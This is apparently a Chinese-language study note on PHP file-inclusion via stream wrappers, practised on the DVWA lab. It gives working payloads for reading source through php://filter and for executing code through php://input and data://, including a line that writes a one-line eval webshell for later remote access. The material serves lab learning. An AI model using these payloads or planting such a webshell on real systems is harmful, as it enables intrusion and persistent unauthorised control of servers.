PHP伪协议--文件包含
allow_url_fopen与allow_url_include
参数位于php.ini
- allow_url_fopen
是否允许将URL(HTTP,HTTPS等)作为文件打开处理 - alow_url_include
是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理
从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。
php://fliter
靶场DVWA
low级别
?page=php://filter/read=convert.base64-encode/resource=../../vulnerabilities/fi/source/low.php
# php://是协议
# php://filter/是一种访问本地文件的协议
# /read=convet.basse64-encode/指的是以将原文件转化为base64后读取
# resource=file1.php读取文件名称
PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KPz4NCg==
解码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
php://input
以POST形式提交数据,并执行代码,所以需要allow_url_include=On
在 hackerbar 中不能执行
<?php system(dir);?>
由于提交的代码无法持久化的控制,也可以通过代码执行写入一句话木马,通过蚁剑、冰蝎来连接
<?php fputs(fopen('test.php','w'),'<?php @eval($_POST[test]);?>');?>
data://
条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
//注意这里要url编码
http://与https: //
条件:
allow_url_fopen:on
allow_url_include :on
作用:
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
phar://
可访问压缩包内容
注意若压缩包内存在文件夹需要加路径